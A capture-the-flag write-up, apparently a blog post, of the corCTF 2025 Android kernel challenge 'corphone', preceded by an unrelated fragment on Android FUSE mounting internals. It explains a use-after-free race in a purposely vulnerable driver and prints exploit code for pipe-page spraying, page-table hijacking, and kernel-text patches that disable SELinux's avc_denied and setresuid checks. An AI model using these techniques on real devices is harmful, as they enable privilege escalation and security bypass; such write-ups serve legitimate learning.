                mFuseAppLoop = new FuseAppLoop(mount.mountPointId, mount.fd, factory);
                // [...]
            }
            // [...]
        }
    }
    // [...]
}

This call corresponds to a Binder transaction in IStorageManager, as defined in IStorageManager.aidl. The IStorageManager service runs inside system_server, which hosts almost all of the core system services.

interface IStorageManager {
    // [...]
    AppFuseMount mountProxyFileDescriptorBridge() = 73;
    // [...]
}

We can verify this information using the service and ps shell commands.

akita:/ # service list | grep mount
242	mount: [android.os.storage.IStorageManager]

akita:/ # ps -A | grep -i system_server
system        1436   903   23594364 775776 do_epoll_wait       0 S system_server

The method mountProxyFileDescriptorBridge() is implemented in StorageManagerService.java, where it creates an AppFuseMountScope object [2].

class StorageManagerService extends IStorageManager.Stub
        implements Watchdog.Monitor, ScreenObserver {
    // [...]
    
    @Override
    public @Nullable AppFuseMount mountProxyFileDescriptorBridge() {
        // [...]
        while (true) {
            // [...]
            try {
                return new AppFuseMount(
                    name, mAppFuseBridge.addBridge(new AppFuseMountScope(uid, name))); // [2]
            } catch (FuseUnavailableMountException e) {
                // [...]
            }
        }
    }

    // [...]
}

The AppFuseMountScope class is also defined in StorageManagerService.java. Its open() method eventually calls mVold.mountAppFuse() [3] to obtain the FUSE fd.

class AppFuseMountScope extends AppFuseBridge.MountScope {
        private boolean mMounted = false;

    public AppFuseMountScope(int uid, int mountId) {
        super(uid, mountId);
    }

    @Override
    public ParcelFileDescriptor open() throws AppFuseMountException {
        extendWatchdogTimeout("#open might be slow");
        try {
            final FileDescriptor fd = mVold.mountAppFuse(uid, mountId); // [3]
            mMounted = true;
            return new ParcelFileDescriptor(fd);
        } catch (Exception e) {
            throw new AppFuseMountException("Failed to mount", e);
        }
    }
    // [...]
}

The method mountAppFuse() is a Binder call exposed by the Vold (Volume Daemon) process, defined in IVold.aidl.

@SensitiveData
interface IVold {
    FileDescriptor mountAppFuse(int uid, int mountId);
}

Vold runs as a dedicated process, which is responsible for handling the FUSE open and mount operations internally:

akita:/ # service list | grep -i vold
# [...]
368	vold: [android.os.IVold]

akita:/ # ps -A | grep -i vold
root           559     1   11025252   9996 binder_thread_read  0 S vold

Finally, within the C++ function MountAppFuse(), the mount path is defined [4], the "/dev/fuse" file is opened [5], and the mount operation [6] is performed.

int MountAppFuse(uid_t uid, int mountId, android::base::unique_fd* device_fd) {
    std::string name = std::to_string(mountId);

    // [...]
    std::string path;
    // [...]
    if (GetMountPath(uid, name, &path) != android::OK) { // [4]
        LOG(ERROR) << "Invalid mount point name";
        return -1;
    }
    // [...]
    device_fd->reset(open("/dev/fuse", O_RDWR)); // [5]
    // [...]
    return RunCommand("mount", uid, path, device_fd->get()); // [6]
}

corCTF 2025 - corphone

2025-09-08T00:00:00+00:00

Last week, I participated in corCTF as part of team Billy (simply because my friend Billy (@st424204) was also playing it in his free time) and solved an Android pwn challenge, corphone. Although I had some prior research experience with Android, this was the first time I successfully achieved LPE on it!

This post is not only a write-up for the challenge but also includes some notes on Android exploitation. Hope you find it helpful!

By the way, you can also refer to this GitHub repo for the author’s version of the exploitation, which should be more stable and understandable than mine.

Thanks to the author, devil (d3vil), for creating this awesome challenge, and to Billy for playing it with me 🙂.

1. Introduction

The attachment INSTRUCTIONS.md provides clear steps for setting up the environment. You can follow it to get everything ready quickly. Out of curiosity, I also analyzed the setup process. If you are not interested in how this system was built, you may skip this section.

After unpacking corphone-local.tar.gz, the output directory local-docker will look like this:

.
├── build-docker-image.sh
├── corav.diff
├── corphone
├── Dockerfile
├── exp2sc.py
├── files
│   ├── cuttlefish-packages
│   │   ├── cuttlefish-base_1.12.0_amd64.deb
│   │   └── cuttlefish-user_1.12.0_amd64.deb
│   ├── image
│   │   ├── bd.apk
│   │   ├── corctl
│   │   ├── magiskpolicy
│   │   └── mm.apk
│   └── kernel
│       ├── bzImage
│       └── initramfs.img
├── notabackdoor2-apk
│   └── notabackdoor2.zip
└── System.map

build-docker-image.sh, corphone, Dockerfile: Scripts for setting up the environment.
corav.diff: An Android kernel patch that implements a vulnerable built-in driver.
notabackdoor2-apk: A backdoor application used for debugging and uploading exploits. This application mimics an untrusted real-world app.
exp2sc.py: Converts a static binary to shellcode, which is later executed by the backdoor application.
files/cuttlefish-packages: Cuttlefish, a Google tool for running Android Virtual Devices (AVD).
files/image: Magisk, a rooting tool for Android. Its utility magiskpolicy can patch SELinux policies at runtime.
- bd.apk is the backdoor app, while mm.apk is “Mattermost,” a chatroom service.
files/kernel: The compiled kernel and initramfs.

The script build-docker-image.sh downloads two files: android-img.zip and cvd-host_package.tar.gz.

The former contains files required for booting Android (unclear if they are auto-generated or manually packaged):

.
├── android-info.txt
├── boot.img
├── fastboot-info.txt
├── init_boot.img
├── super.img
├── userdata.img
├── vbmeta.img
├── vbmeta_system_dlkm.img
├── vbmeta_system.img
├── vbmeta_vendor_dlkm.img
└── vendor_boot.img

The latter contains host-side components used by Cuttlefish.

Finally, a Docker image is built, running Cuttlefish on Debian 12.

# [...]
COPY ./files/cuttlefish-packages/cuttlefish-*.deb /root/debian/
RUN apt install -y --no-install-recommends -f \
    /root/debian/cuttlefish-base_*.deb \
    /root/debian/cuttlefish-user_*.deb
# [...]

After building, we can use the corphone script to start a Docker container. The command will then be passed through to the corctl script inside the container.

run_cuttlefish() {
    local cmd="$1"
    docker run --rm -it \
        --name corphone \
        --network bridge \
        --privileged \
        -v "$(pwd)/volumes/kernel:/root/kernel:ro" \
        -v "$(pwd)/volumes/image:/root/image:rw" \
        -v "$(pwd)/volumes/instance:/root/instance:rw" \
        -v "$(pwd)/volumes/tmp:/tmp:rw" \
        cuttlefish:latest \
        /root/image/corctl "$cmd"
}

First, we execute ./corphone create to create an instance. This triggers the create_instance() function.

Note: I removed some commands and expanded certain variables/functions for clarity.

create_instance() {

    service cuttlefish-host-resources start
    service cuttlefish-operator status

    cvd create \
        --num_instances=1 \
        --base_instance_num=1 \
        --host_path /root/image \
        --product_path /root/image \
        -instance_dir /root/instance \
        -initramfs_path /root/kernel/initramfs.img \
        -kernel_path /root/kernel/bzImage \
        -report_anonymous_usage_stats=n \
        -cpus=4 \
        -memory_mb=4096
}

Next, the instance is set up. This includes patching SELinux rules so the target device can be accessed by the untrusted application, installing applications, and forwarding the backdoor and ADB ports.

corphone_setup() {
    adb connect 127.0.0.1:$ADB_PORT

    ####### allow_corav_access() #######
    adb shell su 0 /system/bin/chmod 0644 /dev/corav
    adb push /root/image/magiskpolicy /data/local/tmp/m >/dev/null 2>&1
    adb shell 'su 0 chcon u:object_r:corav_device:s0 /dev/corav' >/dev/null 2>&1
    adb shell 'su 0 /data/local/tmp/m --live "type corav_device"'
    adb shell 'su 0 /data/local/tmp/m --live "allow untrusted_app corav_device chr_file open"'
    adb shell 'su 0 /data/local/tmp/m --live "allow untrusted_app corav_device chr_file read"'
    adb shell 'su 0 /data/local/tmp/m --live "allow untrusted_app corav_device chr_file ioctl"'
    adb shell 'su 0 /data/local/tmp/m --print-rules | grep corav || echo Error'
    adb shell 'su 0 rm /data/local/tmp/m'

    ####### install apk #######
    ### am: Activity Manager, pm: Package Manager
    adb install /root/image/bd.apk
    adb shell am force-stop com.example.notabackdoor2
    adb shell pm grant com.example.notabackdoor2 android.permission.ACCESS_COARSE_LOCATION
    adb shell pm grant com.example.notabackdoor2 android.permission.ACCESS_BACKGROUND_LOCATION
    adb shell am start -n com.example.notabackdoor2/com.example.notabackdoor2.MainActivity

    # [...]

    ####### forward network #######
    ### adb
    socat TCP-LISTEN:6666,fork,reuseaddr,bind=0.0.0.0 TCP:127.0.0.1:6520 &
    
    ### apk
    adb -a forward tcp:6969 tcp:6969 > /dev/null 2>&1
    socat TCP-LISTEN:1337,fork,reuseaddr,bind=0.0.0.0 TCP:127.0.0.1:6969 # become frontend process
}

In the end, we can connect to container-ip:1337 from the host to interact with the backdoor application:

aaa@aaa:~$ nc 172.17.0.2 1337
 | Backdoor | Say the magic word:

We can also connect to container-ip:6666 to obtain a shell:

aaa@aaa:~$ adb connect 172.17.0.2:6666
connected to 172.17.0.2:6666

aaa@aaa:~$ adb shell
vsoc_x86_64_only:/ $

2. Challenge

2.1. Analyze

The corav.diff patch implements an access vector device at /dev/corav.

static struct miscdevice corav_misc = {
    .minor = MISC_DYNAMIC_MINOR,
    .name  = "corav",
    .fops  = &corav_fops,
    .mode  = 0644,
};

static const struct file_operations corav_fops = {
    .owner          = THIS_MODULE,
    .unlocked_ioctl = corav_ioctl,
};

The ioctl handler expects the user to pass a struct corav_user_entry object as a parameter. This structure contains a file signature, a set of flags (risk, root_only), and a file path.

struct corav_user_entry {
    uint64_t sig;
    enum corav_risk risk;
    bool root_only;
    char path[CORAV_MAX_PATH_SIZE];
};

There are three commands: CORCTL_INSERT, CORCTL_UPDATE, and CORCTL_DELETE.

The first command, CORCTL_INSERT, is handled by corav_insert(). This function reads up to 512 bytes from the specified file, allocates a struct corav_entry object, and stores it in a bucket. Finally, it returns the file signature to the user as an identifier for the entry.

static long corav_insert(struct corav_user_entry *ue, uint64_t *out)
{
    struct corav_entry *e;
    uint64_t sig;
    long ret;

    ret = corav_calc_file_content_sig_from_path(ue->path, &sig);
    // [...]
    e = corav_alloc_entry(ue, sig);
    // [...]
    ret = corav_insert_entry_locked(e);
    // [...]
    *out = sig;
    return ret;
}

The second command, CORCTL_UPDATE, is handled by corav_update(). This function first looks up the existing corav_entry by its signature. It then reads the file, calculates a new signature, and updates the entry with the new signature and flags.

static long corav_update(struct corav_user_entry *ue, uint64_t *out)
{
    uint64_t old_sig = ue->sig;
    struct corav_entry *e;
    uint64_t new_sig;
    long ret = -ENOENT;

    e = corav_lockup_entry_locked(old_sig);
    // [...]
    ret = corav_calc_file_content_sig_from_path(ue->path, &new_sig);
    // [...]
    ret = corav_update_entry_locked(e, new_sig, ue->risk, ue->root_only);
    // [...]
    *out = new_sig;
    return ret;
}

The third command, CORCTL_DELETE, is handled by corav_remove(). This function reads the file at the specified path, calculates its signature, and looks up the corresponding entry. If the entry is found, it is removed from the bucket and released.

static long corav_remove(struct corav_user_entry *ue, uint64_t *out)
{
    struct corav_entry *e;
    uint64_t sig;
    long ret;

    ret = corav_calc_file_content_sig_from_path(ue->path, &sig);
    // [...]
    e = corav_remove_entry_locked(sig);
    // [...]
    corav_free_entry(e);

    return ret;
}

This built-in driver also registers a hook function, corav_scan(), at the SELinux hook point bprm_check_security.

void __init corav_selinux_init(void)
{
    security_add_hooks(corav_hooks, ARRAY_SIZE(corav_hooks), "corav");
}

static struct security_hook_list corav_hooks[] = {
    LSM_HOOK_INIT(bprm_check_security, corav_scan),
};

The corav_scan() function performs a sanitization check whenever SYS_execve is invoked. First, it prevents the root user from executing certain hardcoded binaries, such as /bin/sh (which explains why adb shell su 0 sh always fails).

After that, it calculates the signature of the binary being executed and looks up the corresponding entry. If the entry is not found, execution is allowed; otherwise, the function either returns the error code -EACCES or directly kills the process.

static int corav_scan(struct linux_binprm *bprm)
{
    // Hardcoded binaried check
    // [...]

    // [...]
    ret = corav_calc_file_content_sig(bprm->file, &sig);

    // [...]
    e = corav_lockup_entry_locked(sig);

    // [...]
    if (e->risk >= RISK_MODERATE) {
        // [...]
        ret = -EACCES;
    }

    if (e->risk >= RISK_HIGH)
        send_sig_info(SIGKILL, SEND_SIG_NOINFO, current);
    // [...]
}

2.2. Vulnerability

Delving into the internal implementation, we found that the lookup function corav_lockup_entry_locked() (and, while writing this post, I realized it should be named lookup_entry_locked() rather than lockup xD), the insert function corav_insert_entry_locked(), the update function corav_update_entry_locked() and the remove function corav_remove_entry_locked() are all invoked with the lock held, which appears correct and should not cause any issues.

However, in corav_update(), the entire update process acquires the lock twice. It first retrieves the entry while holding the lock, then releases it before reading data from the file. Later, it acquires the lock again to update the entry, but during this window the entry may be freed by another thread, leading to a use-after-free on struct corav_entry.

static long corav_update(struct corav_user_entry *ue, uint64_t *out)
{
    uint64_t old_sig = ue->sig;
    struct corav_entry *e;
    uint64_t new_sig;
    long ret = -ENOENT;

    e = corav_lockup_entry_locked(old_sig);
    // [...]
    ret = corav_calc_file_content_sig_from_path(ue->path, &new_sig);
    // [...]

    // At this point, the entry `e` may already have been freed.
    ret = corav_update_entry_locked(e, new_sig, ue->risk, ue->root_only);
    // [...]
    *out = new_sig;
    return ret;
}

Although the time window is small and the race is hard to trigger, we can address it by examining how corav_calc_file_content_sig_from_path() works: it internally calls kernel_read() to read data, which can block.

static int corav_calc_file_content_sig_from_path(char *path, uint64_t *sig)
{
    struct file *f;
    int ret;

    f = filp_open(path, 0, 0);
    // [...]
    ret = corav_calc_file_content_sig(f, sig);
    // [...]
    filp_close(f, NULL);
    return ret;
}

static int corav_calc_file_content_sig(struct file *f, uint64_t *sig)
{
    char data[CORAV_SAMPLE_SIZE /* 512 */];
    loff_t pos = 0;
    long bytes;

    bytes = kernel_read(f, data, CORAV_SAMPLE_SIZE, &pos);
    // [...]
    *sig = corav_hash64(data, bytes);
    return 0;
}

By passing a pipe via /proc/self/fd/ to corav_update(), we can fully control the race condition, making the exploit much more stable.

3. Exploitation

3.1. Reclaim the Free Entry

Once the race triggers, we can assume that the entry e has been freed inside corav_update_entry_locked(). This function first calls corav_verify_entry() to validate the entry and then calls corav_update_entry() to update the old entry.

static int corav_update_entry_locked(struct corav_entry *e, uint64_t sig, enum corav_risk risk, bool root_only)
{
    struct corav_bucket *old_b = corav_stob(e->sig);
    struct corav_bucket *new_b = corav_stob(sig);
    int ret;

    // Do some lock operations
    // [...]

    corav_verify_entry(e);
    ret = corav_update_entry(old_b, new_b, e, sig, risk, root_only);

    // Do some unlock operations
    // [...]

    return ret;
}

corav_update_entry() removes the entry from the original bucket (implemented as an rbtree), updates several fields, and inserts it into another rbtree — allowing later access to the freed entry object.

static int corav_update_entry(struct corav_bucket *old_b, struct corav_bucket *new_b, struct corav_entry *e, uint64_t sig, enum corav_risk risk, bool root_only)
{
    int ret = -EEXIST;

    // [...]
    corav_remove_entry(old_b, e);
    // [...]
    e->sig = sig;
    // [...]
    ret = corav_insert_entry(new_b, e);
    return ret;
}

However, corav_free_entry() resets certain fields before freeing the entry:

static void corav_free_entry(struct corav_entry *e)
{
    e->sig = 0;
    e->status = CORAV_ENTRY_DEAD;
    kfree(e);
}

And corav_verify_entry() will trigger a kernel panic if these fields contain invalid values:

static inline void corav_verify_entry(const struct corav_entry *e)
{
    BUG_ON(e->status != CORAV_ENTRY_ALIVE || e->sig == 0);
}

This implies we must either reclaim the freed entry as another corav_entry or cross-cache it with objects of a different type.

Unfortunately, calling corav_update_entry() on the reclaimed corav_entry object does not cause any issues in this case, so we need to find some candidate objects for cross-cache.

A common target is the page backing struct pipe_buffer, which allows us to read the data by reading from the pipe and overwrite it by writing to the pipe.

3.2. Spray the Entries

During the CTF, the success rate of reclaiming the entry object in my exploit was relatively low, which was quite frustrating. After comparing my exploit with the author’s, we discovered that the author used a pipe fd to store data for command usage, whereas my exploit relied on the file /storage/emulated/0/Download/test. This file resides under the mount point /storage/emulated, which is mounted as a FUSE filesystem.

Since read/write operations on a FUSE filesystem are significantly slower than those on a pipe, this not only reduced the spraying efficiency but also introduced potential side effects (our target page may be reclaimed accidentally by its write handler).

=> __alloc_pages
=> __folio_alloc
=> __filemap_get_folio
=> pagecache_get_page
=> f2fs_write_begin
=> generic_perform_write
=> f2fs_file_write_iter
=> do_iter_write
=> vfs_iter_write
=> fuse_passthrough_write_iter
=> fuse_file_write_iter
=> vfs_write
=> ksys_write
=> __x64_sys_write

As a result, I revised my exploit by following the author’s approach and using a pipe fd to store data:

Open a pipe.
Use the write-end to store data.
Pass the read-end to the command handler.

Except for the file path, the cross-cache for corav_entry is similar to another kernel challenge. The relevant code snippet can be found in the exploit:

// [...]
printf("[+] create user entries in CPU-0\n");
{
    pin_on_cpu(0);
    struct corav_user_entry ue = {};
    strcpy(ue.path, tmp_file_path);

    for (val = 0; val < 0x2000; val++) {
        set_tmp_data(val);
        SYSCHK(ioctl(corav_fd, CORCTL_INSERT, &ue));

        if (val == 0x1000) {
            target_sig = ue.sig;
            printf("[+] target sig: %016lx\n", target_sig);
        }
    }
}

// [...]

printf("[+] delete all user entries\n");
{
    struct corav_user_entry ue = {};
    strcpy(ue.path, tmp_file_path);

    for (val = 0; val < 0x2000; val++) {
        set_tmp_data(val);
        SYSCHK(ioctl(corav_fd, CORCTL_DELETE, &ue));
    }
}
// [...]

3.3. Spray the Pipe Page

By default, a pipe is allocated 16 pages. Therefore, one can either create many pipes and use only a single page from each, or create fewer pipes and fully populate all 16 pages. In my exploit, I chose the latter approach.

Moreover, since corav_verify_entry() validates the entry object and is invoked frequently, and corav_remove_entry() treats the ->node field as an rbtree node, it is necessary to craft fake entries with a non-zero signature, a valid magic number, and a properly initialized rbtree structure. Luckily, setting these fields to NULL appears sufficient to bypass all the checks inside __rb_erase_augmented().

The relevant part of the pipe-spraying code is shown below:

// [...]
printf("[+] try to reclaim free slabs as pipe pages\n");
{
    for (int i = 0; i < sizeof(tmp_buffer); i += 64) {
        *(unsigned long *)&tmp_buffer[i + 0x0] = 0x6969696969696969UL;
        *(unsigned long *)&tmp_buffer[i + 0x8] = CORAV_ENTRY_ALIVE; // magic number
    }

    for (int i = 0; i < RECLAIM_PIPE_COUNT; i++) {
        for (int j = 0; j < 16; j++) {
            SYSCHK(write(reclaim_pfds[i][1], tmp_buffer, sizeof(tmp_buffer)));
        }
    }
}
// [...]

3.4. Primitive - Page UAF

Once a pipe buffer is inserted into the bucket, the question is: what can we do next?

Intuitively, one might attempt to leak a kernel address through rbtree operations and then corrupt the rbtree structure to escalate into a more powerful primitive. However, there is actually a simpler approach to achieving a page UAF, which is also something I learned from the STAR Labs Summer Pwnables challenge (thanks Billy for reminding me during the game).

For readers interested in the details, please refer to my other post, specifically the section “3.4. Intended Solution.”

In short, we can remove the victim entry and thereby release it. Once the remove handler invokes kfree(), the entry e actually resides somewhere within the pipe page. Since this address does not belong to any slab, the function free_large_kmalloc() [1] is invoked.

void kfree(const void *object)
{
    struct folio *folio;
    struct slab *slab;
    struct kmem_cache *s;
    void *x = (void *)object;

    // [...]
    folio = virt_to_folio(object);
    if (unlikely(!folio_test_slab(folio))) {
        free_large_kmalloc(folio, (void *)object); // [1]
        return;
    }
    // [...]
}

The function free_large_kmalloc() only raises a warning if the target object is located in an order-0 page [2]. Execution then continues, and the function eventually calls folio_put() [3] to release the page.

static void free_large_kmalloc(struct folio *folio, void *object)
{
    unsigned int order = folio_order(folio);

    // [...]
    if (WARN_ON_ONCE(order == 0)) // [2]
        pr_warn_once("object pointer: 0x%p\n", object);

    // [...]
    __folio_clear_large_kmalloc(folio);
    folio_put(folio); // [3]
}

At this point, the pipe page is freed, leaving us with a powerful page UAF primitive. Awesome!

3.5. Hijack Page Table

3.5.1. empty_zero_page

We chose to use the page UAF primitive to hijack the page table, as this allows direct overwriting of kernel code. Besides the page table, one could also hijack shared libraries or other memory structures.

For my exploit, I used 0x80000000UL as the base address, and its page table layout is as follows:

PT (bits 20–12): 0
PD (bits 29–21): 0
PDPT (bits 38–30): 2
PML4 (bits 47–39): 0

During initialization, I populated the first page. As a result, the kernel allocated the required PML4, PDPT, PD, and PT internally. This ensures that subsequent allocations only require new PT entries, rather than higher-level page table structures.

#define BASE_MMAP_ADDR ((void *)0x80000000UL)
SYSCHK(mmap(BASE_MMAP_ADDR, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_POPULATE, -1, 0));

Once the page UAF was obtained, I populated multiple pages and readed the mapped memory to trigger faults in the empty_zero_page.

printf("[+] spray pgtable\n");
{
    for (int i = 1; i < 512; i++) {
        void *ptr = (void *)BASE_MMAP_ADDR + i * 0x200000;
        SYSCHK(mmap(ptr, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0));
        if (*(volatile char *)ptr) printf("owo\n");
    }
}

The empty_zero_page is a 0x1000-sized kernel variable filled entirely with zeros. It is used to avoid redundant anonymous memory allocations. This special page is installed by the page-fault handler whenever a fault is triggered by reading from an anonymous page.

static vm_fault_t do_anonymous_page(struct vm_fault *vmf)
{
    // [...]
    /* Use the zero-page for reads */
    if (!(vmf->flags & FAULT_FLAG_WRITE) &&
            !mm_forbids_zeropage(vma->vm_mm)) {
        entry = pte_mkspecial(pfn_pte(my_zero_pfn(vmf->address),
                        vma->vm_page_prot));
        // [...]
        goto setpte;
    }
    // [...]
setpte:
    // [...]
    set_pte_at(vma->vm_mm, vmf->address, vmf->pte, entry);
    // [...]
}

#define my_zero_pfn(addr)    page_to_pfn(ZERO_PAGE(addr))

/*
 * ZERO_PAGE is a global shared page that is always zero: used
 * for zero-mapped memory areas etc..
 */
extern unsigned long empty_zero_page[PAGE_SIZE / sizeof(unsigned long)]
    __visible;
#define ZERO_PAGE(vaddr) ((void)(vaddr),virt_to_page(empty_zero_page))

Since it resides in kernel data, we can use its physical address to calculate the physical address of the kernel text.

3.5.2. Trampoline PGD

Even without using empty_zero_page, Linux still has some fixed physical addresses, and we can leak addresses from them.

root@lts-6:/# cat /proc/iomem
00000000-00000fff : Reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : Reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c9bff : Video ROM
000ca000-000cadff : Adapter ROM
000cb000-000cb5ff : Adapter ROM
000f0000-000fffff : Reserved
# [...]

In author’s exploit, one of the referenced addresses is 0x9c000. This address corresponds to real_mode_header->trampoline_pgd [1], which is the PGD page table used in real mode.

static void __init setup_real_mode(void)
{
    u64 *trampoline_pgd;
    // [...]
    trampoline_pgd = (u64 *) __va(real_mode_header->trampoline_pgd /* 0x9c000 */); // [1]
    trampoline_pgd[0] = trampoline_pgd_entry.pgd;
    // [...]
}

Its first entry is initialized in the function init_trampoline_kaslr() [2], which allocates a page using alloc_low_page() [3].

static void __init init_trampoline(void)
{
    // [...]
    else
        init_trampoline_kaslr(); // <------------
}

void __meminit init_trampoline_kaslr(void)
{
    // [...]
    pud_page_tramp = alloc_low_page(); // [3]

    // [...]
    else {
        trampoline_pgd_entry =
            __pgd(_KERNPG_TABLE | __pa(pud_page_tramp)); // [2]
    }
}

The page is allocated internally from the PGT buffer.

static inline void *alloc_low_page(void)
{
    return alloc_low_pages(1); // <------------
}

__ref void *alloc_low_pages(unsigned int num)
{
    // [...]
    else {
        pfn = pgt_buf_end;
        pgt_buf_end += num;
    }
}

The PGT buffer is initialized in early_alloc_pgt_buf(), and its memory comes from extend_brk().

void  __init early_alloc_pgt_buf(void)
{
    unsigned long tables = INIT_PGT_BUF_SIZE;
    phys_addr_t base;

    base = __pa(extend_brk(tables, PAGE_SIZE)); // <------------

    pgt_buf_start = base >> PAGE_SHIFT;
    pgt_buf_end = pgt_buf_start;
    pgt_buf_top = pgt_buf_start + (tables >> PAGE_SHIFT);
}

void * __init extend_brk(size_t size, size_t align)
{
    size_t mask = align - 1;
    void *ret;

    _brk_end = (_brk_end + mask) & ~mask;
    ret = (void *)_brk_end;
    _brk_end += size;
    memset(ret, 0, size);
    return ret;
}

unsigned long _brk_start = (unsigned long)__brk_base;
unsigned long _brk_end   = (unsigned long)__brk_base;

Finally, we can see that the brk area is actually kernel data. This explains why the physical address 0x9c000 contains another physical address located around the kernel base.

// arch/x86/kernel/vmlinux.lds.S

// [...]
. = ALIGN(PAGE_SIZE);
.brk : AT(ADDR(.brk) - LOAD_OFFSET) {
    __brk_base = .;
    . += 64 * 1024;        /* 64k alignment slop space */
    *(.bss..brk)        /* areas brk users have reserved */
    __brk_limit = .;
}
// [...]

3.6. Overwrite Kernel Function

Now we have the physical addrss of kernel text and can fully control page table, so we can overwrite the kernel function!

To archieve full root, we need to know mitigations on Android and try to bypass them.

3.6.1. SELinux

SELinux is a rule-based framework for enforcing mandatory access control (MAC) security policies. Rules define how subjects (domains) can interact with objects (types), specifying permissions and constraints. Common rule types include:

allow: A whitelist rule permitting a subject (domain) to perform specific operations on an object.
auditallow, dontaudit, neverallow: Control auditing behavior, specifying whether an access attempt is logged, ignored, or explicitly prohibited.
type_transition: Specifies the default type assigned to a newly created object in a given context.
type_change: Defines the type to assign when relabeling (changing the type) of an existing object.
… and others.

An access vector (AV) defines which permissions a subject (process or domain) has on a particular object (file, device, socket, etc.). The general form is:

 : {  };

subject: The domain (process context, e.g., untrusted_app).
object: The type of the target resource (e.g., gxp_device).
class: The object class (e.g., file, dir, chr_file, socket).
permissions: The permitted operations (e.g., read, write, open).

For example,

allow untrusted_app gxp_device:chr_file { read write open };

This is an allow rule. It grants processes running in the domain untrusted_app permission to perform read, write, and open operations on the object gxp_device, which belongs to the chr_file class.

With SELinux enabled, even the root user cannot access all resources. Therefore, it is necessary to disable it in order to bypass these restrictions.

But how does SELinux work? Let’s look at the kernel implementation.

The kernel function registers security hooks (functions prefixed with security_) to check permissions in almost every operation. For example, consider SYS_fork. During the process duplication, the function security_task_alloc() is invoked to perform a security check.

This function then calls call_int_hook() to iterate over &security_hook_heads.task_alloc and invoke the registered SELinux hook selinux_task_alloc(), which validates whether the process has sufficient permissions to create a copy of itself.

int security_task_alloc(struct task_struct *task, unsigned long clone_flags)
{
    int rc = lsm_task_alloc(task);

    if (rc)
        return rc;
    rc = call_int_hook(task_alloc, 0, task, clone_flags);
    if (unlikely(rc))
        security_task_free(task);
    return rc;
}

static int selinux_task_alloc(struct task_struct *task,
                  unsigned long clone_flags)
{
    u32 sid = current_sid();

    return avc_has_perm(&selinux_state,
                sid, sid, SECCLASS_PROCESS, PROCESS__FORK, NULL);
}

Within avc_has_perm(), the function avc_has_perm_noaudit() is called to perform the permission check, and avc_audit() is called to determine whether an audit message should be generated.

int avc_has_perm(struct selinux_state *state, u32 ssid, u32 tsid, u16 tclass,
         u32 requested, struct common_audit_data *auditdata)
{
    struct av_decision avd;
    int rc, rc2;

    rc = avc_has_perm_noaudit(state, ssid /* source/domain id */,
                                     tsid /* target id */,
                                     tclass /* target class */,
                                     requested /* operation */, 0, &avd);

    rc2 = avc_audit(state, ssid, tsid, tclass, requested, &avd, rc,
            auditdata);
    if (rc2)
        return rc2;
    return rc;
}

avc_has_perm_noaudit() first looks up the corresponding rule from the Access Vector Cache (AVC). If the requested operations are not in the allow list [1], avc_denied() [2] is called to perform further checks.

inline int avc_has_perm_noaudit(struct selinux_state *state,
                u32 ssid, u32 tsid,
                u16 tclass, u32 requested,
                unsigned int flags,
                struct av_decision *avd)
{
    struct avc_node *node;

    // [...]
    node = avc_lookup(state->avc, ssid, tsid, tclass);
    
    // [...]
    denied = requested & ~(avd->allowed); // [1]
    if (unlikely(denied))
        rc = avc_denied(state, ssid, tsid, tclass, requested, 0, 0, // [2]
                flags, avd);

    // [...]
    return rc;
}

Since the SELinux is always in enforcing mode, and the AV domain is typically not in permissive mode, the check fails and returns -EACCES [3].

static noinline int avc_denied(struct selinux_state *state,
                   u32 ssid, u32 tsid,
                   u16 tclass, u32 requested,
                   u8 driver, u8 xperm, unsigned int flags,
                   struct av_decision *avd)
{
    if (flags & AVC_STRICT)
        return -EACCES;

    if (enforcing_enabled(state) && // [3]
        !(avd->flags & AVD_FLAGS_PERMISSIVE))
        return -EACCES;

    // [...]
    return 0;
}

To disable SELinux, the most effective way is to patch avc_denied() so that it always returns zero, meaning the permission check always succeeds. The relevant part of the exploit is shown below:

printf("[+] overwrite avc_denied: 0x%016lx\n", avc_denied_w_pte);
{
    // xor rax, rax ; ret
    unsigned char avc_denied_shellcode[] = {0x48, 0x31, 0xc0, 0xc3};
    SYSCHK(write(reclaim_pfds[victim_pipe_idx][1], &avc_denied_w_pte, sizeof(avc_denied_w_pte)));

    // back to tmp_page again
    unsigned long read_data;
    SYSCHK(read(reclaim_pfds[victim_pipe_idx][0], &read_data, sizeof(read_data)));

    for (int i = 1; i < 512; i++) {
        void *ptr = (void *)BASE_MMAP_ADDR + i * 0x200000;
        memcpy(ptr + avc_denied_offset, avc_denied_shellcode, sizeof(avc_denied_shellcode));
    }
}

3.6.2. Patch the corav Check

Furthermore, the corav_scan() function is invoked whenever a binary is executed. It blocks certain binaries from being used, so we need to patch corav_initialized to zero in order to disable this access check. Otherwise, spawning a shell would not be allowed.

static int corav_scan(struct linux_binprm *bprm)
{
    // [...]
    if (!corav_initialized)
        return 0;
    // [...]
}

3.6.3. Other Mitigations

To escalate privileges to the root user, I first referred to the USMA attack and patched one byte in __sys_setresuid() to bypass the ns_capable_setid() check:

long __sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
    // [...]
    if ((ruid_new || euid_new || suid_new) &&
        !ns_capable_setid(old->user_ns, CAP_SETUID))
        return -EPERM;
    // [...]
}

However, the root user does not gain full control over resources because it has no capabilities. For example, even the /tmp directory owned by the shell user cannot be accessed:

:/ # cat /proc/$$/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000000000000000
CapAmb: 0000000000000000

:/ # ls -al /tmp
ls: /tmp: Permission denied

Moreover, due to the mount namespace, a shell spawned by an untrusted application can only access a limited view of the filesystem. This can be verified by comparing the namespaces of the init process (PID 1) and the reverse shell process (PID 2525):

aaa@aaa:~$ adb shell su 0 ls -al /proc/2525/ns/
total 0
dr-x--x--x 2 root u0_a116 0 2025-09-08 06:19 .
dr-xr-xr-x 9 root u0_a116 0 2025-09-08 04:45 ..
lrwxrwxrwx 1 root u0_a116 0 2025-09-08 06:19 cgroup -> cgroup:[4026531835]
lrwxrwxrwx 1 root u0_a116 0 2025-09-08 06:19 mnt -> mnt:[4026533945] # <------------------
lrwxrwxrwx 1 root u0_a116 0 2025-09-08 06:19 net -> net:[4026531840]
lrwxrwxrwx 1 root u0_a116 0 2025-09-08 06:19 uts -> uts:[4026531838]

aaa@aaa:~$ adb shell su 0 ls -al /proc/1/ns/
